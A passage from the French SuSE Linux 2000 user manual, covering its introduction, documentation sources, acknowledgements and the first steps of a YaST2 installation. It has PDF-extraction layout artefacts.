derniers développements et soit en même temps utilisable pour une ini- tiation au monde UNIX (sans être ennuyeuse pour les ``vétérans''). Le présent ouvrage tente de concilier ces exigences. Le but de ce manuel est de permettre aux nouveaux venus sous Linux un dé- part encourageant pour un voyage de découverte dans leur nouveau système. Ce manuel comprend, en substance, les parties suivantes : Guide d'installation : Cette partie du livre, qui présente une installation exemple commentée (chapitre 2 page 15), accompagne le nouveau venu sous Linux lors de ses premiers pas dans le système. Elle attire son atten- tion sur les sources possibles d'erreurs et donne des instructions concrètes pour remédier aux problèmes qui pourraient éventuellement survenir lors de l'installation. On abordera ici l'application du programme d'installation et d'adminis- tration YaST TM de SuSE (chapitre 3 page 81) et il sera expliqué comment amorcer le noyau (chapitre 4 page 117). Configuration réseau : Lorsque le système de base est en marche, le mo- ment est venu de penser à la connexion réseau (chapitre 5 page 153) et à l'accès à Internet (chapitre 5.3 page 171). Interface utilisateur graphique : L'activation de l'interface utilisateur XFree86 est le sujet de la partie qui s'étend du chapitre 8 page 239 au chapitre 9 page 265. Son, scanners, notebooks, imprimantes, etc. : Du chapitre 10 page 293 au chapitre 12 page 333, il sera fait un tour d'horizon des possibilités de votre matériel. Linux ~ le noyau : Nous passons ici au plat de résistance : le chapitre 13 page 359 et le chapitre 14 page 367 vous présentent le noyau Linux et vous guident dans la réalisation et l'utilisation de votre propre noyau. * * 5 1. Introduction _________________________________________________________________________________________________________________* *_______________________________________@ Mise à jour, paquetages logiciels, principe d'amorçage : Nous parlerons des stratégies de mise à jour et nous aborderons la question de la gestion des logiciels (chapitre 15 page 403). Certaines caractéristiques de SuSE Linux seront examinées de plus près et le démarrage du système (concept d'amorçage) vous sera présenté (chapitre 17 page 445). ``Sécurité'' et introduction à Linux : Les concepts de sécurité (chapitre 18 page 465) et les conseils pour bien démarrer sous Linux (chapitre 19 page 481) se trouvent réunis à la fin : les procédures et les commandes essentielles sous Linux font ici l'objet de notre attention. Annexe technique : Dans l'annexe, vous trouverez une liste des fichiers de configuration essentiels, des combinaisons de touches les plus im- portantes, quelques exemples de fichiers, une convention de licence, les questions fréquemment posées au sujet de SuSE Linux (FAQ, annexe F page 541), etc : : : Assistance technique : Le rôle de l'Assistance Technique à l'Installation et les possibilités offertes par le Service Pro plus poussé vous sont présentées à l'annexe H page 557 ~ Prenez connaissance de tous les détails si vous souhaitez nous contacter ! Glossaire, bibliographie et index : : : : Et si jusqu'à présent quelque chose vous a manqué, vous pouvez consulter le volumineux index et le glossaire, soit pour savoir où trouver l'explication de termes essentiels, soit tout simplement pour élargir vos connaissances générales au sujet de Linux, de UNIX ou des ordinateurs. 1.3 Légende - ou que signifie ``terre: # ls'' Nous nous efforçons, tout au long de ce manuel, d'utiliser constamment la même convention typographique pour faire ressortir les mêmes choses. Les distinctions principales sont expliquées dans le tableau 1.1 page suivante. _______________________________________________________________________________________________________* *_________ __Distinction_________________________________________Signification____________________________________* *_________ Linus Torvalds personne importante YaST (yast ) invoquer le programme YaST par la commande yast Adabas D le produit Adabas D /etc/passwd nom d'un fichier ou d'un répertoire à l'entrée de la commande, fichier doit être remplacé par la valeur réelle. Les parenthèses pointues ne doivent pas être tapées ! PATH la variable d'environnement du nom de PATH 192.168.1.2 la valeur d'une variable ls la commande à lancer est ls _______________________________________________________________________________________________________* *_________ Tab. 1.1: Continuer à la page suivante... 6 ____________________________________________________________________1.4.__La_lutte_avec_le_nombre_de_pages_:_:_:____________* *______________________ ______________________________________________________________________________________________________________________ `news' l'utilisateur news terre: # susehelp shell `root' dans le répertoire ~, (`~' est ici le ``répertoire person- nel'' de l'utilisateur concerné, + ré- pertoire personnel, la commande à lancer est susehelp tux@terre:/tmp > ls shell de l'utilisateur `tux' dans le répertoire /tmp, la commande à lan- cer est ls ~ À propos, Tux est le nom officiel du pingouin Linux : : : C :\> fdisk invite de DOS avec entrée de la com- mande fdisk Alt||||||__ l'une des touches à actionner est ici la touche ``Alt'' Ctr||||||___l+ |A_____|lt+ |S________|uppr Les touches à actionner simultané- ment sont reliées les unes aux autres par le signe `+' ; les touches à ac- tionner les unes après les autres sont séparées par un espace. "Permission denied" annonces du système `Mettre à jour le systè- l'option du menu `Mettre à jour me' le système' Tartempion S.A.R.L la firme ``Tartempion S.A.R.L'' + renvoi au glossaire (voir annexe B page 511) ______________________________________________________________________________________________________________________ Tab. 1.1: Signification des distinctions contenues dans le texte 1.4 La lutte avec le nombre de pages : : : Le présent manuel ne peut avoir qu'un nombre limité de pages alors que la quantité de logiciels disponibles pour Linux s'accroît à l'infini. C'est pour- quoi il ne faut pas omettre de mentionner ici la documentation disponible en ligne. Nous avons cependant pu trouvé dans le manuel la place nécessaire pour vous apporter une aide lors de vos ``premiers pas'' (connexion au système, copie, effacement et édition de fichiers, accès aux lecteurs de CD-ROM ou de disquettes, etc. ; voir chapitre 19 page 481 et pages suivantes). 1.4.1 Base de données support Nous avons déjà donné des réponses à de nombreuses questions et apporté des solutions à de nombreux problèmes. Nous les mettons à votre disposition en ligne, 24 heures sur 24, dans notre base de données support qui contient plusieurs centaines d'articles : http://sdb.suse.de/sdb/fr/html/. * * 7 1. Introduction _________________________________________________________________________________________________________________* *_______________________________________@ Outre cette possibilité qui vous est offerte en ligne, le contenu de la base de données support est également inclus dans le paquetage sdb_en, série doc sur votre CD SuSE Linux. Vous pouvez lire les articles avec un navigateur Web (arena , lynx , netscape ). 1.4.2 Aide hypertexte Une grande partie de la documentation est disponible sous forme d'hypertexte. Le système hypertexte est lancé par la commande susehelp . Le programme (``navigateur'') à lancer pour la lecture de la documentation sera différent selon que le système X Window est ou non en marche. Sous X, on lance le Communicator de Netscape (figure 1.1). Sur la console texte, on utilise lynx . Fig. 1.1: Page de démarrage du système d'aide (Netscape) D'autres options du système d'aide peuvent être obtenues en invoquant 8 ____________________________________________________________________1.4.__La_lutte_avec_le_nombre_de_pages_:_:_:____________* *______________________ tux@terre:/home/tux > susehelp -help La mise en place du système d'aide est traitée au paragraphe 16.4 page 435. 1.4.3 Texinfo et Info Certains paquetages logiciels contiennent une documentation sous forme de fichiers Texinfo pouvant être convertis au format Info. ``Info'' est une autre forme d'hypertexte. Cette documentation peut être lue avec le programme Infoviewer (info ) ou avec Emacs (emacs ) dans le mode Info. Sous le sys- tème X Window, on peut lire ces fichiers aisément avec le programme tkInfo (tkinfo ). Par contre XInfo (xinfo ) est un programme X plutôt ``revêche''. On peut également lire ces documents en passant par le système d'aide de SuSE (voir page 436). 1.4.4 Manuels Unix (``pages de man'') Pour les systèmes Unix, la méthode habituelle pour obtenir des informa- tions sur les programmes ou les commandes consiste à entrer man (voir para- graphe 19.9 page 494). En tapant tux@terre:/home/tux > man on obtient un aperçu de la tâche et des options de la commande concernée. On peut également lire les + pages de man au moyen du système d'aide de SuSE (voir paragraphe 1.4.2 page ci-contre. 1.4.5 Fichiers FAQ, HowTo et README Le répertoire /usr/doc contient, pour de nombreux paquetages, des sous- répertoires dans lesquels on trouve des informations sur ces logiciels. On y découvre souvent une option depuis longtemps recherchée, le nom du fichier de configuration qui ne se trouve nulle part ou le nom du chien du dévelop- peur. Il vaut en tout cas la peine de jeter ici un coup d'oeil avant que le logiciel ne prenne le chemin de la poubelle. _______________________________________________________________________________________________________________________ |||||||| Il nous semble opportun d'attirer votre attention sur la FAQ de SuSE Linux || | |||||||| || | |||||||| ~ à l'annexe F page 541 || | ||||||||_______________________________________________________________________________________________________________||_ Le répertoire /usr/doc/faq est tout particulièrement digne d'attention. Il contient des listes de questions fréquemment posées avec les réponses concer- nant bon nombre de problèmes. Pour cela, le paquetage manyfaqs, série doc doit être installé. Dans le répertoire /usr/doc/howto on trouve des ``recettes de cuisine'' pour installer différents paquetages ou pour savoir comment pro- céder lorsque surviennent des problèmes. La plupart des HOWTO sont li- sibles à partir du menu de l'interface utilisateur graphique ou au moyen du système d'aide de SuSE (paquetage howtoen, série doc (Documentation)) Certains d'entre eux sont déjà traduits en français (voir paquetage fr_howto, série doc (Documentation)) - Ces documents sont installés dans le répertoire /usr/doc/FR_HOWTO . Sous Linux, ils sont lisibles par exemple avec less 1 : 1 ____________________________________________________ Cher expert, vous avez bien lu : notre less est tellement ``futé'' qu'il peut même lire des fichiers compressés ;-) * * 9 1. Introduction _________________________________________________________________________________________________________________* *_______________________________________@ tux@terre:/home/tux > cd /usr/doc/howto/en tux@terre:/usr/doc/howto/en > less DOS-to-Linux-HOWTO.gz Dans le répertoire docu/howto du premier CD, on trouve les versions les plus récentes, disponibles en fin d'élaboration du CD, des HowTo les plus importants. Il vaut éventuellement la peine de jeter aussi un coup d'oeil dans ce répertoire ! Ces fichiers ne sont pas compressés et peuvent donc déjà être lus, avant l'installation, par exemple sous DOS avec type . Pour les questions et les problèmes concernant le noyau lui-même, la source d'informations la plus abondante est constituée par le répertoire /usr/src/ linux/Documentation. Celui-ci ne sera toutefois disponible que lorsque vous aurez installé les sources du noyau (paquetage linux ou paquetage lx_suse), ce qui est de toute façon expressément conseillé. On peut aussi trouver des indications très précieuses dans les différents sous-répertoires (par exemple sur le pilote son) et, pour les intrépides et les curieux, dans les sources mêmes du noyau. Au cas où vous auriez une question à laquelle le présent manuel ne peut pas répondre, explorez les sources mentionnées afin d'y trouver les informations recherchées. 1.4.6 Livres diffusés librement Le paquetage books, série doc (Documentation) contient quelques livres de format PostScript que vous pouvez consulter et imprimer avec le paquetage gsview, série gra (Tout sur les graphiques) ou le paquetage gv, série gra (Tout sur les graphiques). Avant d'imprimer il conviendrait toutefois de vous demander s'il ne serait pas plus rentable de vous procurer le livre, si possible en français, dans le commerce. 1.5 Éloges Parmi tous ceux qui ont contribué au grand succès de Linux, nous tenons tout particulièrement à remercier Florian La Roche dont l'expérience dans la structuration d'un système Linux a été pour nous d'une valeur inestimable ; son engagement infatigable nous a rendu possible la création d'un système de base performant répondant aux critères les plus actuels. Grâce à plusieurs années d'expérience avec sa propre distribution jurix , qui circulait comme ``tuyau'' sur Internet, il a pu contribuer, dans une très large mesure, au déve- loppement de SuSE Linux. Nous remercions aussi Harald König de l'équipe XFree86 TM qui nous a donné de précieux conseils et de précieuses informations sur le système X Window ainsi que Eberhard Mönkeberg qui s'est toujours montré très disponible pour résoudre les problèmes posés par les pilotes de CD-ROM. Tous nos remerciement à Hans Lermen. Il est l'auteur du LoadLin bien connu (loadlin.exe ) qui permet de lancer Linux à partir de DOS ainsi que du programme DOS Setup (setup.exe ) du présent système Linux. Ces bonnes âmes ont réalisé les traductions de YaST et de linuxrc et ont contribué, le plus souvent pendant leurs loisirs, à rendre Linux accessible à 10 __________________________________________________________________________________________________________________1.5.__Élog* *es____________________ un grand nombre d'utilisateurs dans le monde entier : Gunay Arslan, Zbi- gniew Baniewski, Sándor Bárány, Olaf Borkner-Delcarlo, Michael Bravo, Michael Burghart, Franca Delcarlo, Jochen Depner, Benedek Hermann, Ibán José García Castillo, Dora Georgarou (with Romy the barking dog), Pablo Iranzo Gómez, Krzysztof Hotiuk, Milan Hromada, Arthur Kerkmeester, Ralf A. Lanz, Françoise Lermen, Zoltán Levárdy, Nuno Lima, Tomas Morkus, Carmen Marín Pérez, Matts Nordman, Aleksey Novodvorsky, Razvan Cris- tian Oprea, Gerco Oudhof, George Papamichelakis, Alexey Pavlov, Ákos Rát- kai, Voula Sanida, Aleksey Smirnov, Steve Varadi, P. Vlachodimitropoulos, Joao Teles, Nuno Vieira, January Weiner et I Made Wiryana. Nous remercions en outre tous les bêta testeurs qui ont mis témérairement en jeu le fonctionnement de leur système : Andreas Koegel, Christian Hüt- termann, Dirk Ulbrich, Eberhard Mönkeberg, Frank Hofmann, Georg C. F. Greve, Harald König, Harald Wieland, Karlo Gross, Jens Frank, Lutz Press- ler, Martin Hehl, Martin Konold, Martin Schulze, Michael Kleinhenz, Nor- bert Eicker, Oliver Zendel, Ralf Geschke, Stefan Bliesener, Thomas Wörner, Ulrich Goebel, Ulrich Windl, Volker Lendecke, Wolfgang Barth et das KDE Team. Andrea Ratschker et Thorsten Wandersmann se sont chargés de l'élabora- tion et du traitement des images ~ à eux aussi tous nos remerciements. ainsi qu'à Holger Achtziger, Harald Bertram, Thomas Biege, Peter Findeisen, Mat- thias Frühauf, Kurt Garloff, LenZ Grimmer, Carsten Groß, Berthold Gunre- ben, Bernhard Hölcker, Kevin Ivory, Klaus Kämpf, Karsten Keil, Wolfgang Kern, Thorsten Kukuk, Johannes Meixner, Petr Pavlik, Björn Pfeiffer, Jürgen Scheiderer et Robert Adrian Walczak qui nous ont fourni de précieux rensei- gnements et à qui nous devons même aussi quelques textes. Au niveau de la production, c'est en tout premier lieu à Holger Dyroff, Chris- tian Egle, Frank Sundermeyer et Claudio Taulli que nous devons des remer- ciements. Sans oublier tous ceux qui ont oeuvré dans les coulisses et sans lesquels rien ne fonctionnerait : Adrian, Agathe, Alexander, Alexander, Alexander, Alexandra, Anas, Andrea Karin, Andreas, Andreas, Andreas, Andreas, Anita, Antje, Arnd, Barbara, Beate, Bernd, Bernhard, Bernhard, Berthold, Birgit, Brigitte, Burchard, Carlos, Carsten, Carsten, Carsten, Christian, Christian, Christian, Christian, Christian, Christian, Christian, Christoph-Erdmann, Claudia, Claudio, Costin, Daniel, Daniel, David, Dieter, Dieter, Dirk, Dirk, Dirk, Dragan, Erich, Evelyn, Florian, Francisca, Francoise, Francoise, Frank, Frank, Frank, Frank, Frank, Frank, Friedrich, Gabriele, Gema, Georg, Ger- linde, Ghayss, Gregor, Harald, Harald, Hardo, Hartmut, Heidi, Heiko, Helene, Helmut, Holger, Holger, Hubert, Hubert, Ines, Ingo, Jan, Jesko, Joachim, Jochen, Johannes, Jordi, Jörg, Jörg, Jörg, Jörg, Jörg, Jörg-Gerald, Jürgen, Jürgen, Jürgen, Kadriye, Kai, Karin, Karin, Karine, Karl, Karl-Heinz, Katrin, Kenneth, Klaas, Klaus, Klaus, Klaus, Konrad, Kurt, Kyung Ae, Lenz, Ma- nuela, Marc, Marco, Marcus, Marcus, Marius, Mark, Markus, Martin, Martin, Martin, Martina, Martina, Matthias, Matthias, Matthias, Matthias, Melanie, Michael, Michael, Michael, Michael, Michael, Michael, Michael, Michael, Michael, Michael, Michaela, Michaela, Milisav, Miriam, Nadin, Nicolas, Nicolaus, Nicole, Nina, Norbert, Olaf, Oliver, Oliver, Oliver, Patricia, Peter, * * 11 1. Introduction _________________________________________________________________________________________________________________* *_______________________________________@ Peter, Peter, Peter, Peter, Peter, Peter, Petra, Philipp, Pia, Reinhard, Reinhard, Remo, Renate, Rolf, Rüdiger, Rüdiger, Rüdiger, Sabina, Sebastian, Silke, Silvia, Simon, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefan, Stefanie, Steffen, Stephan, Stephan, Stephan, Stephen, Sven, Sylvia, Tanja, Tatjana, Thomas, Thomas, Thomas, Thomas, Thomas, Thomas, Thorsten, Thorsten, Tilman, Timo, Ulrich, Ulrich, Uwe, Uwe, Uwe, Volker, Waldo, Walter, Wal- traud, Werner, Wittawat, Wolfgang, Wolfgang, Wolfgang et Wolfgang ~ à tous un très très grand merci ! L'illustration de la couverture a été réalisée par Stephan Endraß. À lui aussi tous nos remerciements ! Pour ceux qui s'intéressent aux mathématiques quelques mots à ce sujet : La décique de Barth L'équation - 2 4 2 . - 2 4 2 . - 2 4 2 . - 4 4 4 - 2 2 2 2 2 2 . . 8 x ø y y ø z z ø x x + y + z 2 x y + y z + z x - 2 2 2 . 2 - 2 2 2 . 2 + (3 + 5ø) x + y + z 1 x + y + z (2 ø) = 0 p __ ø = (1 + 5 )=2 est ici le nombre d'or qui définit une surface de degré 10 (décique) découverte en 1994 par W. Barth (Erlangen). Cette surface possède exactement 345 points doubles, ce qui est un record du monde ! Selon la formule du mathématicien japonais Y. Miyaoka, une surface de degré 10 peut avoir tout au plus 360 points doubles. Personne n'a cependant jamais vu plus de 345 points doubles. L'équation ci-dessus est composée d'éléments dits invariantes icosahédrales qui étaient déjà connues au 19ème siècle de E. Goursat (1858~1936). La décique de Barth possède la symétrie de l'icosahèdre. * * * * Les développeurs de Linux, qui collaborent à l'échelle mondiale, font pro- gresser l'évolution de Linux par leur engagement intense et bénévole. Nous les en remercions car sans eux ce CD n'existerait pas. Notre activité a pour but de rendre le résultat de leurs travaux accessible à un très grand nombre d'utilisateurs intéressés. Nous remercions tout particulièrement Patrick Volkerding pour le sou- tien qu'il nous a apporté dans notre travail et naturellement aussi Linus Tor- valds ! Nos remerciements spéciaux vont à Frank Zappa et Pawar ! Nürnberg, 13 mars 2000 Have a lot of fun ! Votre équipe SuSE 12 Deuxième partie Installer SuSE Linux 13 Chapitre 2 Première installation de SuSE Linux 2.1 La voie la plus rapide vers le succès Depuis SuSE Linux 6.3, YaST2 simplifie encore la première ou la nouvelle installation d'un système. Avec le nouveau YaST , vous disposez, dès le début, d'un outil intelligent fonctionnant sous interface graphique. YaST2 permet d'installer très rapidement SuSE Linux sur des machines modernes et bien équipées ~ Il est également possible, dans les cas ou cela s'avère souhaitable ou nécessaire, d'installer en mode texte. L'utilisateur est guidé dans les étapes de l'installation par des dialogues fa- ciles à superviser. Des entrées ou décisions concernant la sélection sont tou- jours nécessaires lorsque l'utilisateur a la liberté de personnaliser son système et de l'adapter à ses propres besoins. _______________________________________________________________________________________________________________________|| |||||||| Outre la possibilité d'utiliser YaST2 qui guide tout particulièrement les ||| | |||||||| || | |||||||| néophytes à travers les phases de l'installation, l'utilisateur SuSE Linux || | |||||||| aguerri peut comme auparavant avoir recours à une méthode d'installation || | |||||||| || | |||||||| bien éprouvée : l'outil traditionnel YaST (angl. Yet another Setup-Tool) || | |||||||| continue à offrir ses bons et loyaux services ~ voir la description pas à pas || | |||||||| || | |||||||| au paragraphe 1.5 page 28. || | ||||||||_______________________________________________________________________________________________________________||_ 2.1.1 Petit plan préliminaire Faisons un rapide tour d'horizon pour découvrir la méthode la mieux appro- priée : 1. L'installation avec YaST2 ~ directement à partir du CD 1 ~ peut toujours être menée à bonne fin si les conditions suivantes sont remplies : ~ Votre machine ~ devrait posséder un lecteur de CD-ROM permettant l'amorçage. ~ Il est souhaitable d'avoir un système graphique conforme à la norme VESA 2.0 (cela va de soi pour les machines récentes) et ~ si possible 64 Mo de RAM (mémoire de travail) ou plus ainsi ~ qu'un processeur Pentium. * * 15 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ Si les conditions de départ sont moins favorables, vous devrez éven- tuellement vous accommoder de petites restrictions : ~ Recourir à l'amorçage à partir de la disquette d'amorçage. ~ Les logiciels des CD-ROM suivants ne seront installés qu'après un ``amorçage intermédiaire'' si vous ne disposez pas de suffisamment de mémoire de travail. ~ L'installation est effectuée en mode texte dans le cas où la carte graphique ne serait pas reconnue. ~ Vous disposez de suffisamment de place pour l'installation : 150 Mo sont nécessaires pour un système minimal, environ 500 Mo pour un système standard avec de l'espace supplémentaire pour des compo- sants additionnels. Voici les possibilités que vous pouvez envisager : ~ Une nouvelle machine sans système d'exploitation pour effectuer une première installation. ~ Un disque sur lequel un système d'exploitation est déjà installé mais qui offre encore suffisamment d'espace disponible. ~ Vous voulez consacrer à SuSE Linux un deuxième disque dur. ~ Vous avez des partitions déjà utilisées qui peuvent être effacées. Prenez dans ce cas le temps de réfléchir pour savoir quelles données doivent être sauvegardées avant l'installation ! Si l'une de ces conditions est remplie, vous pouvez vous lancer sans perdre de temps ~ passez directement au paragraphe 2.1.2. 2. Vous pouvez recourir à la méthode d'installation traditionnelle à l'aide du ``vieux'' YaST dans les conditions suivantes : ~ Vous souhaitez une installation de type ``professionnel'' et vous désirer effectuer divers paramétrages particuliers spécifiques à votre système. ~ Vous voulez mettre à jour un système SuSE Linux : lisez tout d'abord le chapitre sur la mise à jour 15 page 403 et pages suivantes. ________________________________________________________________________________________________________* *________|| | Notez que l'installation avec le ``vieux'' YaST est démarrée lorsque vous * * |||| | entrez yast1 à l'invite d'amorçage. Vous trouverez au paragraphe 1.5 * * ||| | * * ||| | page 28 des explications détaillées au sujet de cette méthode d'installation. * * ||| |_______________________________________________________________________________________________________* *________|||_ Il n'est pas non plus inutile de lire, sur le premier CD, le fichier README, ou, sous DOS/Windows, le fichier README.DOS. Nous y notons les modifications qui ont eu lieu après la mise sous presse du manuel ! 2.1.2 Maintenant tout commence : L'écran d'accueil Mettez votre machine en marche et insérez le CD 1 dans le lecteur. Si votre machine devait refuser d'amorcer à partir du CD, il vous faudra probablement modifier dans le BIOS l'ordre d'amorçage vers CDROM,C,A . Vous trouverez dans la documentation qui accompagne votre machine les informations né- cessaires pour effectuer cette modification. 16 _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succès____________* *______________________ Après quelques instants, vous voyez apparaître l'écran d'accueil (figure 2.1 page 29) et l'invite d'amorçage "boot :" est affichée sur le bord inférieur de l'écran. Vous avez maintenant environ 3 secondes pour intervenir en appuyant sur une touche et tirer ainsi parti de deux particularités de YaST2 : 1. Effectuer une installation en mode texte. ~ Ceci peut s'avérer utile dans certaines circonstances particulières. En mode texte, par exemple, les masques d'entrée peuvent être reconnus plus facilement par les handi- capés visuels. Appuyez pour cela sur |C______|_trl(= touche de contrôle). Sur le côté droit du bord inférieur de l'écran, vous serez averti que le démarrage se fait en mode texte. 2. Installez le ``disque d'extension de YaST''. ~ Les extensions actuelles, les mises à jour ou autres choses requises par YaST2 peuvent ainsi être chargées avant le début de l'installation proprement dite. Dans ce cas, appuyez sur |A_____|lt. Vous verrez alors apparaître sur le bord droit de l'écran le message "Have your extension disk ready". La disquette vous sera demandée plus tard. Sur le bord inférieur de l'écran, il apparaît des messages tels que "ini- trd..." et "Loading linux...". Après quelques secondes, le + noyau commence à amorcer ~ Vous pouvez vous en apercevoir aux nombreux ``mes- sages du noyau'' qui défilent rapidement sur l'écran. YaST2 démarre et au bout de quelques secondes vous voyez apparaître l'in- terface graphique. Problèmes éventuels ~ S'il n'est plus possible de continuer après l'apparition de l'écran d'ac- cueil, autrement dit si votre machine a des difficultés à amorcer, vous avez la possibilité d'intervenir à l'invite d'amorçage. Si dans les 3 se- condes qui suivent l'apparition du message "boot :" vous appuyez sur une touche quelle qu'elle soit, le contenu de l'écran demeure fixe et vous ____ pouvez faire des entrées. Ce n'est qu'après avoir pressé la touche | _____|- que vous pourrez continuer. _______________________________________________________________________________________________________________________||| |||||||| || | |||||||| En cas de problèmes lors de l'amorçage du système, voyez le para- || | |||||||| graphe 2.7.5 page 60 ainsi que le paragraphe 14.3.2 page 370 et pages || | |||||||| || | |||||||| suivantes. Dans ces chapitres, vous trouverez des informations sur la cause || | |||||||| de ces problèmes ainsi que sur les moyens d'y remédier par l'entrée de || | |||||||| || | |||||||| ``paramètres du noyau''. || | |||||||| Il peut parfois aussi être utile de consulter la liste de contrôle du matériel || | |||||||| || | |||||||| au paragraphe 2.7.13 page 64. || | ||||||||_______________________________________________________________________________________________________________||_ ~ Certaines variantes de BIOS ne parviennent pas à se tirer d'affaire avec une grande ``image de boot'' (2,88 Mo) telle que celle qui se trouve sur le CD 1. Utilisez, dans ce cas, le CD 2 ou la disquette d'amorçage. * * 17 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ 2.1.3 YaST2 fait son apparition ! Dans la partie gauche de l'image, ainsi que dans la plupart des autres dia- logues de YaST2 , il est affiché un texte d'aide concernant la phase actuelle de l'installation. YaST2 vérifie le matériel et intègre dans le système les composants qu'il peut reconnaître. La progression des opérations est affichée en mode graphique. Lorsque cette procédure est terminée, il est automatiquement passé à la phase suivante. 2.1.4 Sélection de la langue Vous devez maintenant intervenir pour la première fois dans le processus d'installation avec la souris ou le clavier. Tous les champs d'entrée, les listes de sélection et les boutons peuvent être sélectionnés par un clic de souris. Si vous voulez vous servir du clavier, tenez compte des règles suivantes : ~ |_____|Tabdirige le focus sur une zone, un champ_d'entrée_ou_de_sélection_ou sur un bouton. La combinaison de touches | ____________________*|+Commutation||_Tabvous__ permet de choisir d'autres groupes de sélection. Avec |_"| et |_#|, il est possible ~ selon la zone activée ~ de faire une sélection ou de feuilleter une liste. ~ Avec |______|-, la commande sélectionnée est exécutée. Il s'agit en général de l'action indiquée sur le bouton actif. ~ Avec |E_________|_space, vous pouvez cocher des entrées. ~ Il est en outre possible_de_déclencher la plupart des actions avec la com- binaison de touches |A____l|t+ Caractère souligné. ________________________________________________________________________________________________________* *________|| | Pas de panique : Ici et dans les dialogues suivants, YaST2 se contentera * * |||| | de rassembler des informations. Plus tard, YaST2 vous présentera les don- * * ||| | * * ||| | nées qu'il a collecté. Au paragraphe 2.1.13 page 25, vous aurez encore la * * ||| | possibilité, à l'aide du bouton `Retour', de revenir aux dialogues précé- * * ||| | * * ||| | dents pour corriger certains paramètres. * * ||| |_______________________________________________________________________________________________________* *________|||_ YaST2 vous demande quelle langue vous comprenez. Après avoir choisi la langue, vous pouvez, avec `Continuer', faire apparaître tous les textes du dialogue qui va suivre dans la langue que vous désirez. Problèmes éventuels ~ Si vous possédez un matériel exotique, il peut arriver que la souris ne soit pas reconnue automatiquement. Dans un tel cas, utilisez tout d'abord le clavier ainsi qu'il a été décrit au début de ce paragraphe. Dans le prochain dialogue, YaST2 vous donnera la possibilité d'intégrer manuellement la souris dans le système (paragraphe 2.1.5 page suivante). 18 _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succès____________* *______________________ 2.1.5 Choix de la souris Ce dialogue n'apparaîtra que dans le cas où YaST2 n'a pas pu reconnaître automatiquement la souris. Vous pourrez voir une boîte de dialogue contenant une longue liste de noms de souris et il vous sera demandé de sélectionner le type de souris adéquat. Faites défiler la liste à l'aide des touches fléchées._Lorsque_vous aurez trouvé le type de souris_ qui convient, passez, avec |____T|ab, au bouton `Tester' et appuyez sur |_____|-. Déplacez maintenant la souris. Si le pointeur peut être déplacé de manière contrôlée, tout est pour le mieux et vous pouvez cliquer sur `Continuer' avec la souris :-) Si, lors du premier essai, vous n'avez pas réussi à trouver_le type de souris approprié, retournez à la liste de sélection avec |T____a|bafin de modifier votre choix. Problèmes éventuels ~ Aucun type de souris ne fonctionne ou vous ne souhaitez pas utiliser de souris. Dans ce cas, activez l'option `Aucune'. Vous devrez alors effectuer tout le reste de l'installation en vous servant uniquement du clavier. 2.1.6 Détermination du lieu : Clavier et zone horaire Quelle disposition de clavier utilisez-vous ? Dans quelle zone de la terre, c'est-à-dire dans quelle zone horaire vous trouvez-vous avec votre machine ? Déterminez le lieu dans lequel vous vous trouvez. ~ Vous avez ici, en outre, la possibilité de tester votre_clavier. Vous devez pour cela, par un clic de souris ou avec |____T|ab, activer la ligne d'entrée et y taper des lettres. Testez tout particulièrement `y'/`z' ainsi que les caractères accentués. ~ Comme deuxième option, vous disposez d'une liste de pays dans une structure arborescente (continent/pays/région). Choisissez votre pays ou une région de celui-ci. YaST2 découvrira la zone horaire appropriée. Le bouton `Continuer' vous amène à la prochaine boîte de dialogue. 2.1.7 Nouvelle installation ou mise à jour ? Avec YaST2 , vous pouvez non seulement installer une nouvelle version de SuSE Linux mais effectuer aussi la mise à jour (angl. update) d'une version précédente et conserver ainsi les configurations déjà faites. `Nouvelle installation' ~ Sélectionnez cette option car dans ce para- graphe il est question d'une nouvelle installation de SuSE Linux. `Mise à jour' ~ Cette option ne sera pas décrite ici. Dans la description qui va suivre, nous présumons que vous avez sélectionné `Nouvelle installation' avant de `continuer'. * * 19 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ 2.1.8 Préparer le disque dur Au cours des phases suivantes, vous choisirez le ou les disques durs et vous effectuerez les préparations nécessaires à l'installation de SuSE Linux. ~ En fonction des composants matériels de votre machine, les dialogues que vous verrez apparaître divergeront plus ou moins de l'exemple présenté ici. Phase 1 ~ S'il a été détecté plus d'un disque, vous devrez tout d'abord choisir celui qui doit être utilisé pour l'installation. Les disques détectés sont listés les uns au dessous des autres. ~ Ou ~ Vous sélectionnez la dernière option (`Partitionnement manuel') afin de pouvoir, si besoin, effectuer le partitionnement à la main. Vous pouvez aussi avoir recours ultérieurement à cette méthode s'il devait s'avérer nécessaire de faire de la place : : : En cas normal, vous choisirez un disque dur et vous cliquerez ensuite sur `Continuer' Phase 2 L'un des deux cas suivants peut se produire : ~ Si le disque n'est pas vide, YaST2 vous montrera ici toutes les partitions qui se trouvent sur celui-ci et affichera l'option `totalité du disque dur'. L'espace libre, non partitionné à la ``fin'' du disque dur vous est également montré et il est automatiquement sélectionné par défaut. YaST2 ne peut utiliser de l'espace supplémentaire que de façon cohérente, ce qui signifie que les partitions peuvent être rendues disponibles ``par l'arrière''. Dans le cas par exemple de 3 partitions, la première et la deuxième demeurent inchangées et vous cochez la troisième pour la rendre disponible. Si vous décidez de consacrer un disque entier à SuSE Linux, sélectionnez `Utiliser la totalité du disque dur'. ~ Si le disque est vide, la totalité sera utilisée pour SuSE Linux. Si vous désirez autre chose, revenez au dernier dialogue avec `Retour' ~ ainsi qu'il est décrit à la présente page ~ afin de partitionner manuellement en sélectionnant l'option `Partitionnement manuel'. ________________________________________________________________________________________________________* *________||| | * * ||| | Comme les partitions sélectionnées pour SuSE Linux doivent être forma- * * ||| | tées, toutes les données qu'elles peuvent éventuellement contenir seront * * ||| | * * ||| | irrémédiablement perdues ! * * ||| | Attention : Si vous sélectionnez `Utiliser la totalité du disque * * ||| | * * ||| | dur', toutes les données se trouvant sur le disque seront effacées et, * * ||| | par voie de conséquence, tous les systèmes d'exploitation (voir para- * * ||| | * * ||| | graphe 2.10.1 page 75). * * ||| |_______________________________________________________________________________________________________* *________|||_ 20 _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succès____________* *______________________ Lorsque vous sélectionnerez `Continuer', il sera entre autre vérifié si l'es- pace est suffisant pour une installation minimale, si 3 autres partitions peuvent être installées et s'il est possible 